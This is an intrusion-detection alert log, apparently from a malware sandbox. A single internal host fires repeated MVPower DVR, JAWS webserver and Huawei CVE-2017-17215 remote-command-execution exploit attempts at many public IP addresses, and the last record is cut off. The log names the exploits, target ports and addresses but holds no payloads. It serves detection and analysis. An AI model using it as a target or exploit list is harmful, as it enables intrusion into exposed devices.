Timestamp:	192.168.2.23104.99.215.10858622802030092 01/02/24-06:24:54.969765
SID:	2030092
Source Port:	58622
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 203.198.100.113

Timestamp:	192.168.2.23203.198.100.11341360802025883 01/02/24-06:25:25.334124
SID:	2025883
Source Port:	41360
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 99.142.66.148

Timestamp:	192.168.2.2399.142.66.14860348802025883 01/02/24-06:25:29.576053
SID:	2025883
Source Port:	60348
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 102.130.122.217

Timestamp:	192.168.2.23102.130.122.21740696802025883 01/02/24-06:24:58.885496
SID:	2025883
Source Port:	40696
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 121.36.115.249

Timestamp:	192.168.2.23121.36.115.24947442802025883 01/02/24-06:23:55.420371
SID:	2025883
Source Port:	47442
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 69.80.206.87

Timestamp:	192.168.2.2369.80.206.8755282802030092 01/02/24-06:24:19.154384
SID:	2030092
Source Port:	55282
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.77.130.177

Timestamp:	192.168.2.23156.77.130.17758998372152835222 01/02/24-06:24:06.202488
SID:	2835222
Source Port:	58998
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 34.196.134.247

Timestamp:	192.168.2.2334.196.134.24735922802030092 01/02/24-06:25:34.999781
SID:	2030092
Source Port:	35922
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 139.59.72.230

Timestamp:	192.168.2.23139.59.72.23049116802025883 01/02/24-06:25:11.932825
SID:	2025883
Source Port:	49116
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 206.233.253.224

Timestamp:	192.168.2.23206.233.253.22452608802025883 01/02/24-06:24:09.052927
SID:	2025883
Source Port:	52608
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 221.153.44.201

Timestamp:	192.168.2.23221.153.44.20137018802030092 01/02/24-06:25:09.681419
SID:	2030092
Source Port:	37018
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 116.203.70.28

Timestamp:	192.168.2.23116.203.70.2860376802025883 01/02/24-06:23:52.035635
SID:	2025883
Source Port:	60376
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 173.234.100.230

Timestamp:	192.168.2.23173.234.100.23044204802030092 01/02/24-06:24:40.616364
SID:	2030092
Source Port:	44204
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 166.161.129.17

Timestamp:	192.168.2.23166.161.129.1740674802030092 01/02/24-06:24:44.925325
SID:	2030092
Source Port:	40674
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 51.210.89.53

Timestamp:	192.168.2.2351.210.89.5356836802025883 01/02/24-06:25:38.038524
SID:	2025883
Source Port:	56836
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 23.57.78.174

Timestamp:	192.168.2.2323.57.78.17447542802030092 01/02/24-06:25:36.406858
SID:	2030092
Source Port:	47542
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 61.220.62.145

Timestamp:	192.168.2.2361.220.62.14550398802025883 01/02/24-06:24:33.218083
SID:	2025883
Source Port:	50398
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 213.136.91.17

Timestamp:	192.168.2.23213.136.91.1739410802030092 01/02/24-06:24:04.299968
SID:	2030092
Source Port:	39410
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 170.130.122.64

Timestamp:	192.168.2.23170.130.122.6435776802025883 01/02/24-06:25:42.642200
SID:	2025883
Source Port:	35776
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 154.204.118.161

Timestamp:	192.168.2.23154.204.118.16159748802030092 01/02/24-06:24:50.106168
SID:	2030092
Source Port:	59748
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 86.181.28.252

Timestamp:	192.168.2.2386.181.28.25240796802030092 01/02/24-06:24:28.186813
SID:	2030092
Source Port:	40796
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 101.42.248.240

Timestamp:	192.168.2.23101.42.248.24039924802025883 01/02/24-06:24:43.377309
SID:	2025883
Source Port:	39924
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.254.94.26

Timestamp:	192.168.2.23156.254.94.2659154372152835222 01/02/24-06:25:03.334223
SID:	2835222
Source Port:	59154
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 183.111.183.230

Timestamp:	192.168.2.23183.111.183.23054570802025883 01/02/24-06:25:04.271400
SID:	2025883
Source Port:	54570
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 108.186.100.209

Timestamp:	192.168.2.23108.186.100.20951226802030092 01/02/24-06:23:54.821481
SID:	2030092
Source Port:	51226
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 208.109.68.23

Timestamp:	192.168.2.23208.109.68.2335052802030092 01/02/24-06:25:09.832341
SID:	2030092
Source Port:	35052
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 185.18.81.66

Timestamp:	192.168.2.23185.18.81.6639906802030092 01/02/24-06:25:01.307707
SID:	2030092
Source Port:	39906
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 13.227.73.85

Timestamp:	192.168.2.2313.227.73.8552698802025883 01/02/24-06:25:34.683145
SID:	2025883
Source Port:	52698
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.254.85.32

Timestamp:	192.168.2.23156.254.85.3256952372152835222 01/02/24-06:25:03.334382
SID:	2835222
Source Port:	56952
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 46.4.102.252

Timestamp:	192.168.2.2346.4.102.25247674802030092 01/02/24-06:25:43.105983
SID:	2030092
Source Port:	47674
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 99.16.143.128

Timestamp:	192.168.2.2399.16.143.12833176802030092 01/02/24-06:24:14.071830
SID:	2030092
Source Port:	33176
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 38.181.35.219

Timestamp:	192.168.2.2338.181.35.21934372802025883 01/02/24-06:24:01.259878
SID:	2025883
Source Port:	34372
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 23.48.76.91

Timestamp:	192.168.2.2323.48.76.9154442802025883 01/02/24-06:25:30.270726
SID:	2025883
Source Port:	54442
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 83.148.198.44

Timestamp:	192.168.2.2383.148.198.4442066802030092 01/02/24-06:25:42.757624
SID:	2030092
Source Port:	42066
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 34.120.145.32

Timestamp:	192.168.2.2334.120.145.3256908802025883 01/02/24-06:25:06.732120
SID:	2025883
Source Port:	56908
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 34.225.232.165

Timestamp:	192.168.2.2334.225.232.16551466802030092 01/02/24-06:24:15.088251
SID:	2030092
Source Port:	51466
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 104.121.24.212

Timestamp:	192.168.2.23104.121.24.21239268802030092 01/02/24-06:25:34.772506
SID:	2030092
Source Port:	39268
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 8.134.23.43

Timestamp:	192.168.2.238.134.23.4358860802030092 01/02/24-06:24:27.781954
SID:	2030092
Source Port:	58860
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 51.255.91.120

Timestamp:	192.168.2.2351.255.91.12053876802025883 01/02/24-06:25:02.258701
SID:	2025883
Source Port:	53876
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 74.48.45.146

Timestamp:	192.168.2.2374.48.45.14649620802030092 01/02/24-06:24:50.099124
SID:	2030092
Source Port:	49620
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 18.164.18.33

Timestamp:	192.168.2.2318.164.18.3348318802025883 01/02/24-06:25:38.054989
SID:	2025883
Source Port:	48318
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 45.66.79.133

Timestamp:	192.168.2.2345.66.79.13355714802025883 01/02/24-06:24:14.281778
SID:	2025883
Source Port:	55714
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 85.221.227.124

Timestamp:	192.168.2.2385.221.227.12437694802025883 01/02/24-06:24:18.042374
SID:	2025883
Source Port:	37694
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 167.172.137.111

Timestamp:	192.168.2.23167.172.137.11148674802030092 01/02/24-06:23:49.370306
SID:	2030092
Source Port:	48674
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 217.160.215.205

Timestamp:	192.168.2.23217.160.215.20551516802030092 01/02/24-06:24:23.994544
SID:	2030092
Source Port:	51516
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 154.46.166.188

Timestamp:	192.168.2.23154.46.166.18836382802025883 01/02/24-06:24:10.948725
SID:	2025883
Source Port:	36382
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 108.158.129.156

Timestamp:	192.168.2.23108.158.129.15660976802025883 01/02/24-06:24:55.937734
SID:	2025883
Source Port:	60976
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 62.244.41.147

Timestamp:	192.168.2.2362.244.41.14754538802025883 01/02/24-06:25:25.284302
SID:	2025883
Source Port:	54538
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 178.159.46.91

Timestamp:	192.168.2.23178.159.46.9149008802030092 01/02/24-06:25:39.173695
SID:	2030092
Source Port:	49008
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 193.182.144.154

Timestamp:	192.168.2.23193.182.144.15439910802030092 01/02/24-06:25:31.359030
SID:	2030092
Source Port:	39910
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.235.102.171

Timestamp:	192.168.2.23156.235.102.17138108372152829579 01/02/24-06:24:02.515190
SID:	2829579
Source Port:	38108
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 13.239.48.115

Timestamp:	192.168.2.2313.239.48.11535360802025883 01/02/24-06:24:04.056293
SID:	2025883
Source Port:	35360
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 51.178.25.26

Timestamp:	192.168.2.2351.178.25.2639996802025883 01/02/24-06:25:19.073342
SID:	2025883
Source Port:	39996
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 23.3.111.161

Timestamp:	192.168.2.2323.3.111.16147366802030092 01/02/24-06:25:43.020357
SID:	2030092
Source Port:	47366
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 123.60.116.97

Timestamp:	192.168.2.23123.60.116.9758084802030092 01/02/24-06:24:45.347164
SID:	2030092
Source Port:	58084
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 209.235.140.224

Timestamp:	192.168.2.23209.235.140.22455632802030092 01/02/24-06:24:48.911367
SID:	2030092
Source Port:	55632
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 18.172.204.124

Timestamp:	192.168.2.2318.172.204.12456566802030092 01/02/24-06:24:59.388502
SID:	2030092
Source Port:	56566
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 2.20.206.69

Timestamp:	192.168.2.232.20.206.6947260802025883 01/02/24-06:25:06.855559
SID:	2025883
Source Port:	47260
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 50.212.190.97

Timestamp:	192.168.2.2350.212.190.9749434802030092 01/02/24-06:25:07.021195
SID:	2030092
Source Port:	49434
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 154.12.30.83

Timestamp:	192.168.2.23154.12.30.8341074802030092 01/02/24-06:25:38.407130
SID:	2030092
Source Port:	41074
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 18.139.66.249

Timestamp:	192.168.2.2318.139.66.24949188802030092 01/02/24-06:24:49.080776
SID:	2030092
Source Port:	49188
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 185.124.143.188

Timestamp:	192.168.2.23185.124.143.18839152802025883 01/02/24-06:23:52.102637
SID:	2025883
Source Port:	39152
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 207.91.250.53

Timestamp:	192.168.2.23207.91.250.5347036802030092 01/02/24-06:24:05.701901
SID:	2030092
Source Port:	47036
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.247.27.15

Timestamp:	192.168.2.23156.247.27.1551010372152829579 01/02/24-06:24:09.783413
SID:	2829579
Source Port:	51010
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 46.175.16.206

Timestamp:	192.168.2.2346.175.16.20649032802025883 01/02/24-06:24:48.996752
SID:	2025883
Source Port:	49032
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 186.88.83.194

Timestamp:	192.168.2.23186.88.83.19454168802030092 01/02/24-06:25:15.957336
SID:	2030092
Source Port:	54168
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.235.97.230

Timestamp:	192.168.2.23156.235.97.23040630372152829579 01/02/24-06:23:56.194246
SID:	2829579
Source Port:	40630
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 54.87.227.164

Timestamp:	192.168.2.2354.87.227.16435480802025883 01/02/24-06:25:22.000530
SID:	2025883
Source Port:	35480
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 104.126.126.81

Timestamp:	192.168.2.23104.126.126.8152802802025883 01/02/24-06:25:30.150804
SID:	2025883
Source Port:	52802
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 46.101.163.107

Timestamp:	192.168.2.2346.101.163.10735924802025883 01/02/24-06:25:11.820546
SID:	2025883
Source Port:	35924
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 38.173.142.99

Timestamp:	192.168.2.2338.173.142.9934518802025883 01/02/24-06:24:45.911157
SID:	2025883
Source Port:	34518
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 108.186.112.34

Timestamp:	192.168.2.23108.186.112.3448840802025883 01/02/24-06:24:54.992165
SID:	2025883
Source Port:	48840
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 23.218.15.43

Timestamp:	192.168.2.2323.218.15.4344830802025883 01/02/24-06:24:34.799253
SID:	2025883
Source Port:	44830
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 107.172.87.207

Timestamp:	192.168.2.23107.172.87.20751544802030092 01/02/24-06:24:55.853118
SID:	2030092
Source Port:	51544
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 87.106.240.163

Timestamp:	192.168.2.2387.106.240.16348362802025883 01/02/24-06:25:18.777402
SID:	2025883
Source Port:	48362
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 124.160.184.254

Timestamp:	192.168.2.23124.160.184.25432982802030092 01/02/24-06:24:49.075744
SID:	2030092
Source Port:	32982
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 158.94.0.206

Timestamp:	192.168.2.23158.94.0.20659592802030092 01/02/24-06:24:09.082311
SID:	2030092
Source Port:	59592
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 34.242.70.143

Timestamp:	192.168.2.2334.242.70.14342204802030092 01/02/24-06:24:43.208181
SID:	2030092
Source Port:	42204
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 200.52.65.80

Timestamp:	192.168.2.23200.52.65.8038840802030092 01/02/24-06:25:07.011268
SID:	2030092
Source Port:	38840
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 191.96.205.194

Timestamp:	192.168.2.23191.96.205.19456586802030092 01/02/24-06:24:13.903880
SID:	2030092
Source Port:	56586
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 23.57.244.129

Timestamp:	192.168.2.2323.57.244.12937714802030092 01/02/24-06:25:07.005656
SID:	2030092
Source Port:	37714
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 66.78.59.102

Timestamp:	192.168.2.2366.78.59.10240712802025883 01/02/24-06:25:15.619279
SID:	2025883
Source Port:	40712
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 200.159.177.31

Timestamp:	192.168.2.23200.159.177.3149306802025883 01/02/24-06:24:11.224156
SID:	2025883
Source Port:	49306
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 38.3.104.60

Timestamp:	192.168.2.2338.3.104.6048300802030092 01/02/24-06:25:07.011141
SID:	2030092
Source Port:	48300
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 160.242.101.249

Timestamp:	192.168.2.23160.242.101.24957992802030092 01/02/24-06:24:49.569096
SID:	2030092
Source Port:	57992
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 197.15.56.180

Timestamp:	192.168.2.23197.15.56.18050906802030092 01/02/24-06:24:01.084128
SID:	2030092
Source Port:	50906
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 35.211.249.211

Timestamp:	192.168.2.2335.211.249.21148824802030092 01/02/24-06:24:30.918981
SID:	2030092
Source Port:	48824
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 104.100.160.203

Timestamp:	192.168.2.23104.100.160.20360636802025883 01/02/24-06:25:11.730540
SID:	2025883
Source Port:	60636
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 155.159.137.8

Timestamp:	192.168.2.23155.159.137.860496802025883 01/02/24-06:24:33.306234
SID:	2025883
Source Port:	60496
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 23.63.254.149

Timestamp:	192.168.2.2323.63.254.14947840802025883 01/02/24-06:25:42.582550
SID:	2025883
Source Port:	47840
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 31.41.88.12

Timestamp:	192.168.2.2331.41.88.1257330802030092 01/02/24-06:24:41.167214
SID:	2030092
Source Port:	57330
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 169.53.132.234

Timestamp:	192.168.2.23169.53.132.23444342802030092 01/02/24-06:24:10.994021
SID:	2030092
Source Port:	44342
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.247.18.93

Timestamp:	192.168.2.23156.247.18.9351712372152835222 01/02/24-06:23:49.692291
SID:	2835222
Source Port:	51712
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 143.0.84.210

Timestamp:	192.168.2.23143.0.84.21038402802025883 01/02/24-06:24:01.350138
SID:	2025883
Source Port:	38402
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 94.237.51.52

Timestamp:	192.168.2.2394.237.51.5260554802030092 01/02/24-06:24:20.104130
SID:	2030092
Source Port:	60554
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 109.196.234.18

Timestamp:	192.168.2.23109.196.234.1858414802030092 01/02/24-06:23:55.633320
SID:	2030092
Source Port:	58414
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 172.67.227.6

Timestamp:	192.168.2.23172.67.227.649236802030092 01/02/24-06:24:30.712225
SID:	2030092
Source Port:	49236
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 20.72.240.212

Timestamp:	192.168.2.2320.72.240.21243978802030092 01/02/24-06:24:23.654334
SID:	2030092
Source Port:	43978
Destination Port:	80
